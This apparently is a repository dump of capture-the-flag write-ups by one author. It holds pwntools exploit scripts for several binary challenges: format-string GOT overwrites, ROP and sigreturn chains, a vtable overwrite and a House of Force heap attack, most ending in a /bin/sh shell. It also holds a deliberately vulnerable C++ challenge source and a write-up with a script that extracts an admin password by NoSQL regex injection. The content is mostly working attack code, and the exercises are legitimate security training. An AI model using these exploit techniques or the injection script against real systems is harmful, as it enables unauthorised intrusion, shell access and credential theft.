17 | payload = cyclic(1000) 18 | 19 | padding = b'a' * 264 20 | payload = padding 21 | #This is an easy way to encode numeric values into bytes. In little endian, the bytes are '\xef\xbe\xad\xde\x00\x00\x00\x00 22 | payload += p64(0xdeadbeef) 23 | 24 | target.sendline(payload) 25 | 26 | #Not necessary here, but it's good practice to put this at the end since if you are trying to open a shell, it will close immediately if this isn't here. 27 | target.interactive() 28 | -------------------------------------------------------------------------------- /pwn_challs/picoMini_21/fermat_strings/fermat_strings_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./fermat_strings') 4 | 5 | #pid = gdb.attach(target, "\nb *main+416\ncontinue") 6 | 7 | target = remote('mars.picoctf.net', 31929) 8 | 9 | elf = ELF("fermat_strings") 10 | libc = ELF("libc6_2.31-0ubuntu9.1_amd64.so") 11 | 12 | #Gadgets: 13 | pow_got_plt = p64(0x601040) 14 | main = 0x00400837 15 | printf_got_plt = p64(0x601030) 16 | puts_got_plt = p64(0x601018) 17 | setbuf_got_plt = p64(0x601028) 18 | snprintf_got_plt = p64(0x601038) 19 | strcspn_got_plt = p64(0x601048) 20 | strcspn_got_plt2 = p64(0x601048 + 2) 21 | read_got_plt = p64(0x601050) #read brings it down to two options 22 | atoi_got_plt = p64(0x601058) 23 | 24 | print(target.recvuntil(b'A:')) 25 | #I have to load the location here because nulls. 26 | payload = b'12345678' + pow_got_plt 27 | 28 | target.sendline(payload) 29 | 30 | print(target.recvuntil(b'B:')) 31 | 32 | #This one will set me up to reroll main forever. 33 | payload = b'12' + b'%2063x%11$hn' 34 | 35 | target.sendline(payload) 36 | 37 | 38 | print(target.recvuntil(b'and B:')) 39 | print(target.recv(20)) 40 | 41 | print(target.recvuntil(b'A:')) 42 | 43 | payload = b'12345678' + printf_got_plt 44 | 45 | target.sendline(payload) 46 | print(target.recvuntil(b'B:')) 47 | payload = b'12' + b'%11$s' 48 | target.sendline(payload) 49 | print(target.recvuntil(b'B: 12')) 50 | leak = target.recv(6) 51 | printf_libc = u64(leak + b'\x00' * 2) 52 | libc_base = printf_libc - libc.symbols['printf'] 53 | 54 | system_libc = libc_base + libc.symbols['system'] 55 | print('printf libc is: ', hex(printf_libc)) 56 | print('system libc should be: ', hex(system_libc)) 57 | 58 | 59 | #Now we do the final overwrite with our libc leak. 60 | print(target.recvuntil(b'A:')) 61 | 62 | payload = b'12345678' + strcspn_got_plt 63 | 64 | target.sendline(payload) 65 | 66 | print(target.recvuntil(b'B:')) 67 | 68 | #So now we have to carefully, programmatically refine our payload 69 | print('system libc should be: ', hex(system_libc)) 70 | system_last_bytes = system_libc & 0xffff 71 | print('system last bytes: ', hex(system_last_bytes), system_last_bytes) 72 | system_next_bytes = (system_libc & 0xffff0000) // 0x10000 73 | print('system next bytes: ', hex(system_next_bytes), system_next_bytes) 74 | print(str(system_last_bytes).encode('ascii')) 75 | 76 | #These are determined by using got command in gdb to check how it's looking 77 | part1 = b'%' + str(system_last_bytes - 0x28).encode('ascii') + b'x%11$hn' 78 | print(part1) 79 | 80 | part2 = b'%' + str(0x10000 + system_next_bytes - system_last_bytes - 1).encode('ascii') + b'x%46$hn' 81 | print(part2) 82 | #The bits of padding are important since I'm referencing an address at the very end of the payload, so length until then must remain constant. 83 | payload = b'12' + part1 + b'a' * (14 - len(part1)) + part2 + b'a' * (16 - len(part2)) + strcspn_got_plt2 84 | target.sendline(payload) 85 | print(target.recvuntil(b'A:')) 86 | 87 | #This effectively calls system('/bin/sh') 88 | target.sendline(b'/bin/sh') 89 | print(target.recvuntil(b'B:')) 90 | target.sendline(b'/bin/sh') 91 | 92 | target.interactive() 93 | -------------------------------------------------------------------------------- /pwn_challs/romCTF21/TableofContents/Makefile: -------------------------------------------------------------------------------- 1 | all: tableofcontents 2 | 3 | tableofcontents: toc.cc 4 | clang++ $< -Wl,-z,now -fno-pie -o $@ 5 | 6 | clean: 7 | rm -f tableofcontents 8 | -------------------------------------------------------------------------------- /pwn_challs/romCTF21/TableofContents/tableofcontents: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/romCTF21/TableofContents/tableofcontents -------------------------------------------------------------------------------- /pwn_challs/romCTF21/TableofContents/tableofcontents_local_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = remote('178.62.51.178', 32245) 4 | 5 | target = process('./tableofcontents') 6 | 7 | pid = gdb.attach(target, "\nb *add\nb *fetch+476\nb *return_book\nset disassembly-flavor intel\ncontinue") 8 | 9 | 10 | def donate_book(title): 11 | print(target.recvuntil(b'5) Leave feedback')) 12 | target.sendline(b'1') 13 | print(target.recvuntil(b'title')) 14 | target.sendline(title) 15 | 16 | def list_books(): 17 | print(target.recvuntil(b'5) Leave feedback')) 18 | target.sendline(b'2') 19 | 20 | def borrow_book(index): 21 | print(target.recvuntil(b'5) Leave feedback')) 22 | target.sendline(b'3') 23 | print(target.recvuntil(b'get?')) 24 | target.sendline(str(index)) 25 | print(target.recvuntil(b'3) Tear out page')) 26 | target.sendline(b'1') 27 | print(target.recvuntil(b'is: ')) 28 | pointer = target.recvline().strip() 29 | print(pointer) 30 | return(int(pointer, 16)) 31 | 32 | def return_book(ref_num): 33 | print(target.recvuntil(b'5) Leave feedback')) 34 | target.sendline(b'4') 35 | print(target.recvuntil(b'reference number')) 36 | target.sendline(hex(ref_num)) 37 | 38 | def feedback(index, my_feedback): 39 | print(target.recvuntil(b'5) Leave feedback')) 40 | target.sendline(b'5') 41 | print(target.recvuntil(b'feedback:')) 42 | target.sendline(str(index)) 43 | print(target.recvuntil(b'Enter feedback:')) 44 | target.sendline(my_feedback) 45 | 46 | 47 | #vtable overwrite 48 | donate_book(p64(0x00401e30) * 6 + b'a' * (50 - (8 * 6))) 49 | 50 | pointer = borrow_book(0) 51 | 52 | print('Here is my heap leak', hex(pointer)) 53 | 54 | vtable_loc = pointer - 0x14f0 55 | print('Here is where the vtable pointer is', hex(vtable_loc)) 56 | 57 | vtable_loc_off = vtable_loc - 0x8 58 | 59 | 60 | return_book(vtable_loc_off - 0x100) 61 | return_book(pointer) 62 | 63 | feedback(0, '/bin/sh\x00') 64 | 65 | 66 | target.interactive() 67 | -------------------------------------------------------------------------------- /pwn_challs/romCTF21/TableofContents/tableofcontents_remote_payload.py: -------------------------------------------------------------------------------- 1 | for i in range(-130, 500): 2 | print("I IS THE NUMBER", i) 3 | from pwn import * 4 | 5 | target = remote('142.93.44.199', 31159) 6 | 7 | #target = process('./tableofcontents') 8 | 9 | #pid = gdb.attach(target, "\nb *add\nb *fetch\nb *fetch+488\nb *fetch+517\nb *return_book+144\n set disassembly-flavor intel\ncontinue") 10 | 11 | def donate_book(title): 12 | print(target.recvuntil(b'5) Leave feedback')) 13 | target.sendline(b'1') 14 | print(target.recvuntil(b'title')) 15 | target.sendline(title) 16 | 17 | def list_books(): 18 | print(target.recvuntil(b'5) Leave feedback')) 19 | target.sendline(b'2') 20 | 21 | def borrow_book(index): 22 | print(target.recvuntil(b'5) Leave feedback')) 23 | target.sendline(b'3') 24 | print(target.recvuntil(b'get?')) 25 | target.sendline(str(index)) 26 | print(target.recvuntil(b'3) Tear out page')) 27 | target.sendline(b'1') 28 | print(target.recvuntil(b'is: ')) 29 | pointer = target.recvline().strip() 30 | print(pointer) 31 | return(int(pointer, 16)) 32 | 33 | def return_book(ref_num): 34 | print(target.recvuntil(b'5) Leave feedback')) 35 | target.sendline(b'4') 36 | print(target.recvuntil(b'reference number')) 37 | target.sendline(hex(ref_num)) 38 | 39 | def feedback(index, my_feedback): 40 | print(target.recvuntil(b'5) Leave feedback')) 41 | target.sendline(b'5') 42 | print(target.recvuntil(b'feedback:')) 43 | target.sendline(str(index)) 44 | print(target.recvuntil(b'Enter feedback:')) 45 | target.sendline(my_feedback) 46 | 47 | 48 | #vtable overwrite. Note that this /bin/sh isn't actually necessary; it got added during debugging and wasn't hurting anything. 49 | donate_book(b'/bin/sh\x00' + p64(0x00401e30) * 5 + b'a' * (50 - (8 * 5))) 50 | 51 | list_books() 52 | 53 | pointer = borrow_book(0) 54 | 55 | print(hex(pointer)) 56 | 57 | vtable_loc = pointer - (0x14f0 + i * 8) 58 | print(hex(vtable_loc)) 59 | 60 | vtable_loc_off = vtable_loc - 0x8 61 | list_books() 62 | 63 | return_book(vtable_loc_off) 64 | 65 | return_book(pointer) 66 | 67 | feedback(0, '/bin/sh\x00') 68 | result = target.recvuntil(b'valued', timeout=1) 69 | print(result) 70 | if b'valued' in result: 71 | target.close() 72 | continue 73 | 74 | target.interactive() 75 | target.close() 76 | -------------------------------------------------------------------------------- /pwn_challs/romCTF21/TableofContents/toc.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | 9 | void flush(); 10 | 11 | class LibraryItem { 12 | public: 13 | virtual void add_page() = 0; 14 | virtual void tear_page() = 0; 15 | virtual void read() = 0; 16 | virtual ~LibraryItem() {}; 17 | std::string title; 18 | std::vector pages; 19 | private: 20 | __attribute__((used)) 21 | void win(const char* arg) { 22 | system(arg); 23 | } 24 | }; 25 | 26 | class Book: public LibraryItem { 27 | public: 28 | Book(std::string title) { 29 | this->title = std::move(title); 30 | } 31 | virtual void add_page() { 32 | printf("Enter size of page: "); 33 | unsigned int size; 34 | std::cin >> size; 35 | flush(); 36 | char *buf = (char *)malloc(size); 37 | printf("Enter data: "); 38 | std::cin.read(buf, size); 39 | this->pages.push_back(buf); 40 | } 41 | virtual void tear_page() { 42 | printf("Enter index of page: "); 43 | unsigned int index; 44 | std::cin >> index; 45 | puts(this->pages[index]); 46 | free(this->pages[index]); 47 | } 48 | virtual void read() { 49 | for (char * &page: this->pages) { 50 | puts(page); 51 | } 52 | } 53 | 54 | virtual void feedback(const char* content) { 55 | puts("Your feedback is highly valued!"); 56 | memset((void *)content, 0, strlen(content)); 57 | } 58 | }; 59 | 60 | std::vector items; 61 | bool has_borrowed = false; 62 | Book* borrowed = new Book(""); 63 | 64 | void flush() { 65 | int c; 66 | while ((c = getchar()) != '\n' && c != EOF) { } 67 | } 68 | 69 | char menu() { 70 | printf("1) Donate book\n2) List books\n3) Fetch an item\n4) Return book\n5) Leave feedback\n> "); 71 | char ret; 72 | scanf(" %c", &ret); 73 | flush(); 74 | return ret; 75 | } 76 | 77 | void add() { 78 | std::string contents; 79 | printf("Enter title > "); 80 | getline(std::cin, contents); 81 | items.push_back(new Book(contents)); 82 | } 83 | 84 | void list() { 85 | for (int i = 0; i < items.size(); i++) { 86 | std::cout << items[i]->title << std::endl; 87 | } 88 | }; 89 | 90 | void fetch() { 91 | unsigned int index; 92 | printf("What index to get? "); 93 | std::cin >> index; 94 | if (index >= items.size()) { 95 | puts("That item does not exist"); 96 | return; 97 | } 98 | printf("1) Borrow book\n2) Add a page\n3) Tear out page\n> "); 99 | char choice; 100 | scanf(" %c", &choice); 101 | flush(); 102 | std::string contents; 103 | switch (choice) { 104 | case '1': 105 | if (has_borrowed ) { 106 | puts("You can only have one book borrowed"); 107 | break; 108 | } 109 | memcpy((void *)borrowed, (void *)items[index], sizeof(Book)); 110 | free((void *)items[index]); 111 | printf("Your reference number is: %p\n", items[index]); 112 | has_borrowed = true; 113 | break; 114 | case '2': 115 | items[index]->add_page(); 116 | break; 117 | case '3': 118 | items[index]->tear_page(); 119 | break; 120 | default: 121 | puts("Unknown option"); 122 | } 123 | 124 | }; 125 | 126 | void return_book() { 127 | Book *book; 128 | printf("Enter reference number: "); 129 | scanf("%p", &book); 130 | flush(); 131 | if ((unsigned long)book >= 0x0000700000000000UL) { 132 | puts("Unauthorized access detected"); 133 | exit(-1); 134 | } 135 | memcpy((void *)book, (void *)borrowed, sizeof(Book)); 136 | has_borrowed = false; 137 | puts("Thank you for returning the book"); 138 | } 139 | 140 | void leave_feedback() { 141 | unsigned int index; 142 | printf("Enter index of book for feedback: "); 143 | std::cin >> index; 144 | flush(); 145 | std::string* feedback = new std::string(); 146 | printf("Enter feedback: "); 147 | getline(std::cin, *feedback); 148 | items[index]->feedback(feedback->c_str()); 149 | } 150 | 151 | int main() { 152 | puts("WELCOME!"); 153 | setvbuf(stdout, NULL, _IONBF, 0); 154 | for (;;) { 155 | char option = menu(); 156 | switch (option) { 157 | case '1': 158 | add(); 159 | break; 160 | case '2': 161 | list(); 162 | break; 163 | case '3': 164 | fetch(); 165 | break; 166 | case '4': 167 | return_book(); 168 | break; 169 | case '5': 170 | leave_feedback(); 171 | break; 172 | default: 173 | puts("Unknown option"); 174 | } 175 | } 176 | } 177 | -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/Blackhole ROP/blackhole_rop_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('0.cloud.chals.io', 12655) 4 | 5 | syscall = 0x4013bb 6 | writable_area = 0x666000 7 | pop_rax = 0x4013c5 8 | 9 | def write_to_writable(string, writable_area): 10 | for i in range(len(string)): 11 | payload = b'%' + str(ord(string[i])).encode('ascii') + b'x%8$n' 12 | payload += b'c' * (16 - len(payload)) + p64(writable_area + i) 13 | target.sendline(payload) 14 | print(target.recvuntil(b'You say')) 15 | 16 | print(target.recvuntil(b'<<< Address of pop rax, ret : 0x4013c5')) 17 | 18 | write_to_writable('/bin/sh', writable_area) 19 | 20 | #Just me checking that the write worked. 21 | payload = b'%8$s' + b'\x00' * 12 + p64(writable_area) 22 | target.sendline(payload) 23 | 24 | print(target.recvuntil(b'You say')) 25 | 26 | padding = b'a' * 40 27 | payload = padding 28 | payload += p64(pop_rax) 29 | payload += p64(0xf) 30 | payload += p64(syscall) 31 | 32 | context.arch = "amd64" 33 | 34 | frame = SigreturnFrame() 35 | 36 | frame.rip = syscall 37 | frame.rax = 0x3b 38 | frame.rdi = writable_area 39 | frame.rsi = 0 40 | frame.rdx = 0 41 | payload += bytes(frame) 42 | target.sendline(payload) 43 | 44 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/Rule of Two/rule_of_two_exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | local = 0 4 | if local == 1: 5 | target = process('./vader') 6 | 7 | pid = gdb.attach(target, "\nb *main+68\n set disassembly-flavor intel\ncontinue") 8 | #If you want to test this locally, you can insert a line of 9 | #libc = ELF(insert location of libc.so file used locally here) 10 | else: 11 | target = remote('0.cloud.chals.io', 20712) 12 | libc = ELF('libc6_2.33-3_amd64.so') 13 | 14 | elf = ELF('vader') 15 | 16 | pop_rdi = 0x000000000040165b 17 | pop_rsi_r15 = 0x0000000000401659 18 | pop_rcx_rdx = 0x00000000004011cd 19 | pop_r8 = 0x00000000004011d9 20 | pop_rdx = 0x00000000004011ce 21 | 22 | 23 | print(target.recvuntil(b'Now I am the master >>>')) 24 | payload = cyclic(200) 25 | padding = b'a' * 40 26 | payload = padding 27 | payload += p64(pop_rdi) 28 | payload += p64(elf.got['puts']) 29 | payload += p64(elf.symbols['puts']) 30 | payload += p64(elf.symbols['main']) 31 | 32 | target.sendline(payload) 33 | 34 | leak = target.recvuntil(b'MMMMMMMMMMMMMMM').strip(b'\nMMMMMMMMMMMMMMM')[1:] 35 | print(leak) 36 | puts_libc = u64(leak+ b'\x00' * 2) 37 | 38 | 39 | print(target.recvuntil(b'Now I am the master >>>')) 40 | print(hex(puts_libc)) 41 | 42 | libc_base = puts_libc - libc.symbols['puts'] 43 | system_libc = libc_base + libc.symbols['system'] 44 | binsh = libc_base + next(libc.search(b'/bin/sh\x00')) 45 | 46 | payload = padding 47 | payload += p64(pop_rdi) 48 | payload += p64(binsh) 49 | payload += p64(pop_rsi_r15) 50 | payload += p64(0) * 2 51 | payload += p64(pop_rdx) 52 | payload += p64(0) 53 | payload += p64(system_libc) 54 | target.sendline(payload) 55 | 56 | target.interactive() 57 | -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/Rule of Two/vader: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/space_heroes_22/Rule of Two/vader -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/Use the Force, Luke/force: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/space_heroes_22/Use the Force, Luke/force -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/Use the Force, Luke/force.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/space_heroes_22/Use the Force, Luke/force.zip -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/Use the Force, Luke/use_the_force_exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | local = 0 4 | if local == 1: 5 | target = process('./force') 6 | 7 | pid = gdb.attach(target, "\nb *main+286\nb *main+249\n set disassembly-flavor intel\ncontinue") 8 | else: 9 | target = remote('0.cloud.chals.io', 11996) 10 | 11 | libc = ELF('.glibc/glibc_2.28_no-tcache/libc.so.6') 12 | 13 | def malloc_chunk(size, content): 14 | print(target.recvuntil(b'(2) Surrender')) 15 | target.sendline(b'1') 16 | print(target.recvuntil(b'How many midi-chlorians?:')) 17 | target.sendline(str(size).encode('ascii')) 18 | print(target.recvuntil(b'What do you feel?:')) 19 | target.sendline(content) 20 | 21 | print(target.recvuntil(b'You feel a system at')) 22 | system_libc = int(target.recv(15), 16) 23 | print(hex(system_libc)) 24 | 25 | print(target.recvuntil(b'You feel something else at')) 26 | heap_base = int(target.recv(10), 16) 27 | print(hex(heap_base)) 28 | 29 | 30 | malloc_chunk(0x88, b'a' * 0x88 + p64(0xffffffffffffffff)) 31 | 32 | libc_base = system_libc - libc.symbols['system'] 33 | malloc_hook = libc_base + libc.symbols['__malloc_hook'] 34 | 35 | distance = malloc_hook - (heap_base + 0x90 + 0x20) 36 | print(hex(malloc_hook)) 37 | 38 | malloc_chunk(distance, b'/bin/sh\x00') 39 | binsh = heap_base + 0x90 + 0x10 40 | 41 | malloc_chunk(24, p64(system_libc)) 42 | 43 | malloc_chunk(binsh, b'') 44 | 45 | target.interactive() 46 | -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/vader/vader: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/space_heroes_22/vader/vader -------------------------------------------------------------------------------- /pwn_challs/space_heroes_22/vader/vader_exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | local = 0 4 | if local == 1: 5 | target = process('./vader') 6 | #This breaks toward the end of main. Run it locally and watch the pops and register values to get a feel for how this works. 7 | pid = gdb.attach(target, "\nb *0x004015f8\n set disassembly-flavor intel\ncontinue") 8 | else: 9 | target = remote('0.cloud.chals.io', 20712) 10 | 11 | elf = ELF('vader') 12 | 13 | #Gadgets: 14 | pop_rdi = 0x000000000040165b 15 | pop_rsi_r15 = 0x0000000000401659 16 | pop_rcx_rdx = 0x00000000004011cd 17 | pop_r8 = 0x00000000004011d9 18 | 19 | #Strings: 20 | DARK = 0x00402ec9 21 | S1D3 = 0x00402ece 22 | OF = 0x00402ed3 23 | TH3 = 0x00402ed6 24 | FORC3 = 0x00402eda 25 | 26 | print(target.recvuntil(b'Now I am the master >>>')) 27 | #I used cyclic to figure out the padding size, I did not consider the explanation super important for the write-up. 28 | payload = cyclic(200) 29 | padding = b'a' * 40 30 | payload = padding 31 | payload += p64(pop_rdi) 32 | payload += p64(DARK) 33 | payload += p64(pop_rsi_r15) 34 | #I just put two copies of the S1D3 address on the stack so that the second one is popped into r15. 35 | payload += p64(S1D3) * 2 36 | payload += p64(pop_rcx_rdx) 37 | #The first address goes into rcx, and the second goes into rdx. 38 | payload += p64(TH3) + p64(OF) 39 | payload += p64(pop_r8) 40 | payload += p64(FORC3) 41 | #This is just an easy way to get the addresses of named functions in pwntools. 42 | payload += p64(elf.symbols['vader']) 43 | 44 | target.sendline(payload) 45 | 46 | 47 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/wolvCTF23/echo2/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | COPY challenge /home/user/ 19 | COPY flag.txt /home/user/ 20 | 21 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 22 | 23 | COPY --from=chroot / /chroot 24 | 25 | COPY nsjail.cfg /home/user/ 26 | 27 | CMD kctf_setup && \ 28 | kctf_drop_privs \ 29 | socat \ 30 | TCP-LISTEN:1337,reuseaddr,fork \ 31 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/challenge" 32 | -------------------------------------------------------------------------------- /pwn_challs/wolvCTF23/echo2/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/wolvCTF23/echo2/challenge -------------------------------------------------------------------------------- /pwn_challs/wolvCTF23/echo2/echo2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/wolvCTF23/echo2/echo2 -------------------------------------------------------------------------------- /pwn_challs/wolvCTF23/echo2/echo2_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./echo2') 4 | 5 | pid = gdb.attach(target, 'b *echo+125\ncontinue') 6 | 7 | elf = ELF('echo2') 8 | libc = ELF('libc.so.6') 9 | 10 | print(target.recvuntil(b'Echo2\n')) 11 | 12 | #Note: we have a persistent I/O issue whereby the newline from the scanf is being read by the fgets call. It was easiest to just compensate by decrementing padding length by one. 13 | padding = b'a' * 279 14 | payload = padding + b'\x4c' 15 | 16 | target.sendline(str(len(payload)+1)) 17 | 18 | target.send(payload) 19 | 20 | print(target.recvuntil(b'Echo2: ')) 21 | 22 | print(target.recv(280)) 23 | leak = target.recv(6) 24 | print(leak) 25 | main = u64(leak + b'\x00' * 2) - 5 26 | print(hex(main)) 27 | pie_base = main - elf.symbols['main'] 28 | 29 | payload2 = padding 30 | payload2 += p64(pie_base + elf.symbols['puts']) 31 | payload2 += p64(pie_base + elf.symbols['echo']) 32 | target.sendline(str(len(payload2)+1)) 33 | target.send(payload2) 34 | 35 | print(target.recvuntil(b'Echo2: ')) 36 | print(target.recv(287)) 37 | leak = (target.recv(6)) 38 | 39 | funlockfile = (u64(leak+b'\x00' * 2)) 40 | libc_base = funlockfile - libc.symbols['funlockfile'] 41 | execve = libc_base + libc.symbols['execve'] 42 | print(hex(execve)) 43 | onegadget = libc_base + 0xebcf5 44 | 45 | payload3 = b'b' * (279 - 8) + p64(pie_base + elf.bss() + 0x78) 46 | payload3 += p64(onegadget) 47 | target.sendline(str(len(payload3)+1)) 48 | target.send(payload3) 49 | 50 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/wolvCTF23/echo2/ld-2.35.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/wolvCTF23/echo2/ld-2.35.so -------------------------------------------------------------------------------- /pwn_challs/wolvCTF23/echo2/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/wolvCTF23/echo2/libc.so.6 -------------------------------------------------------------------------------- /reversing_challs/UIUCTF22/Pierated Art/pierated_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import base64 3 | import os 4 | import string 5 | 6 | def extract_flag(test_file): 7 | 8 | os.system('convert ' + test_file + '.png ' + test_file + '.ppm') 9 | 10 | target = process(['./npiet', '-t', test_file + '.ppm']) 11 | 12 | target.sendline(b'a' * 100) 13 | 14 | raw = target.recvall(timeout = 1) 15 | 16 | reduced = raw.split(b'?')[-1] 17 | lines = reduced.split(b'\n') 18 | reduced_lines = [] 19 | for line in lines: 20 | if b'add' in line or b'push' in line: 21 | reduced_lines.append(line) 22 | 23 | desired_pushes = [] 24 | nums = [] 25 | for i in range(len(reduced_lines)): 26 | if b'add' in reduced_lines[i]: 27 | push_line = reduced_lines[i-1] 28 | nums.append(push_line.split(b' ')[-1]) 29 | print(nums) 30 | 31 | flag = '' 32 | 33 | for num in nums: 34 | for i in range(4, 6): 35 | attempt = chr(26 * i - int(num)) 36 | if attempt in string.ascii_lowercase: 37 | break 38 | flag = attempt + flag 39 | print(flag) 40 | return flag 41 | 42 | target = remote('pierated-art.chal.uiuc.tf', 1337) 43 | 44 | for i in range(10): 45 | file1 = open('pierated.png', 'wb') 46 | print(target.recvuntil(b'(Base64):\n')) 47 | result = target.recvuntil(b'Enter').replace(b'\nEnter', b'') 48 | 49 | decoded = base64.b64decode(result) 50 | file1.write(decoded) 51 | file1.close() 52 | payload = extract_flag('pierated') 53 | 54 | target.sendline(payload) 55 | 56 | target.interactive() -------------------------------------------------------------------------------- /reversing_challs/UIUCTF22/Pierated Art/piet_sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/reversing_challs/UIUCTF22/Pierated Art/piet_sample.png -------------------------------------------------------------------------------- /web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Wild Goose Hunt 2 | 3 | The description for this challenge is as follows: 4 | 5 | *Outdated Alien technology has been found by the human resistance. The system might contain sensitive information that could be of use to us. Our experts are trying to find a way into the system. Can you help? 6 | This challenge will raise 43 euros for a good cause.* 7 | 8 | This is a web challenge that was rated at two of four stars, though it was definitely one of the easiest two star web challenges. 9 | 10 | **TL;DR Solution:** Use NoSQL injection to derive the admin's password character by character. 11 | 12 | When we initally open the page, we see a straightforward login page. 13 | 14 | ![Wild_Goose_Initial_Login](screenshots/Wild_Goose_Initial_Login.png) 15 | 16 | For this challenge, we were given all of the sourcecode for the page. In this case, the most file was entrypoint.sh, which showed use that MongoDB (also called Mongoose, so relevant to the title) was used to create an entry in a users table. The username is admin, and the password is the flag: 17 | ``` 18 | #!/bin/ash 19 | 20 | # Secure entrypoint 21 | chmod 600 /entrypoint.sh 22 | mkdir /tmp/mongodb 23 | mongod --noauth --dbpath /tmp/mongodb/ & 24 | sleep 2 25 | mongo heros --eval "db.createCollection('users')" 26 | mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )' 27 | /usr/bin/supervisord -c /etc/supervisord.conf 28 | ``` 29 | This immediately made me think of trying some sort of NoSQL injection. I had never done this before, but the following page gave me some good ideas: https://www.acunetix.com/blog/web-security-zone/nosql-injections/ 30 | 31 | Basically, I started by trying the payload: 32 | ``` 33 | username[$eq]=admin&password[$ne]=foo 34 | ``` 35 | This is designed to let me if the username is admin and the password is **not** equal to foo.I just sent it in by editing my request within firefox: 36 | ![Goose_Initial_Payload](screenshots/Goose_Initial_Payload.png) 37 | 38 | And the result is that I appear to have logged in successfully, but there is no flag in sight. It looks like I will have to figure out how to actually derive the password. 39 | ![Goose_Initial_Result](screenshots/Goose_Initial_Result.png) 40 | 41 | Eventually, I realized that instead of using $ne with the password, I could do pattern matching with $regex. I came up with a simple payload designed to work if the password string matches the format of CHTB\{.*\}, the standard flag format with a wildcard in the middle, and the curly brackets escaped to avoid causing an error. The payload is here: 42 | ``` 43 | username[$eq]=admin&password[$regex]=CHTB\{.*\} 44 | ``` 45 | And it worked! 46 | ![Goose_Regex_Test](screenshots/Goose_Regex_Test.png) 47 | 48 | I ended up creating a python script to break the password character by character by exploiting this result with regex. The basic idea is to start at the beginning of the password with a single character value and work through possible characters until you get the successful login result. Then you move onto the next character until you hit the end. Note that you can derive the login url to use with the script by looking at the url to which requests are made for requests that were attempted logins. I also ended up escaping or removing several printable characters because they were effectively acting as code in an unintended manner. The script I used is below: 49 | 50 | ``` 51 | import requests 52 | import string 53 | import json 54 | 55 | print(string.printable) 56 | 57 | url = "http://138.68.177.159:30114/api/login" 58 | soFar = "" 59 | use = list(string.printable) 60 | use.sort() 61 | use.remove("'") 62 | use.remove("\"") 63 | use.remove("\\") 64 | use.remove("+") 65 | use.append("\\+") 66 | use.remove(".") 67 | use.append("\\.") 68 | use.remove("*") 69 | use.append("\\*") 70 | use.remove("?") 71 | use.append("\\?") 72 | use.remove("|") 73 | use.append("\\|") 74 | 75 | use = use[5:] 76 | print(use) 77 | 78 | while True: 79 | for k in use: 80 | #k = '' 81 | details = {"username[$eq]": "admin", "password[$regex]": "CHTB\{%s%s.*\}"%\ 82 | (soFar, k)} 83 | print(details) 84 | response = requests.post(url, data = details) 85 | print(response.text) 86 | if "Failed" not in response.text: 87 | print("FOUND ONE!", k) 88 | soFar = soFar + k 89 | print(soFar) 90 | 91 | ``` 92 | The result was a slowly growing flag in the terminal iterating over each character before hitting a match and moving on. When I finally hit the password, my screen looked like this: 93 | 94 | 